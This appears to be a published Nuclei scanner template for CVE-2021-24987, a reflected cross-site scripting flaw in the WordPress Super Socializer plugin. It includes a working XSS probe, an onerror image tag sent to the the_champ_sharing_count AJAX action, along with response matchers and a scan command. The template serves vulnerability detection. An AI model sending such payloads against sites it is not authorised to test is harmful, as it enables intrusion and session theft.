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WordPress Super Socializer <7.13.30 - Cross-Site Scripting

ID: CVE-2021-24987

Severity: medium

Author: Akincibor

Tags: cve2021,cve,wpscan,xss,wp,wp-plugin,wordpress,heateor

Description

Section titled “Description”

WordPress Super Socializer plugin before 7.13.30 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the urls parameter in its the_champ_sharing_count AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response.

YAML Source

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id: CVE-2021-24987


info:
  name: WordPress Super Socializer <7.13.30 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Super Socializer plugin before 7.13.30 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the urls parameter in its the_champ_sharing_count AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of the WordPress Super Socializer plugin (7.13.30 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/a14b668f-812f-46ee-827e-0996b378f7f0
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24987
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24987
    cwe-id: CWE-79
    epss-score: 0.00086
    epss-percentile: 0.35299
    cpe: cpe:2.3:a:heateor:super_socializer:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: heateor
    product: super_socializer
    framework: wordpress
  tags: cve2021,cve,wpscan,xss,wp,wp-plugin,wordpress,heateor


http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]=<img%20src=x%20onerror=alert(document.domain)>'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"facebook_urls":[["<img src=x onerror=alert(document.domain)>"]]'


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24987.yaml"

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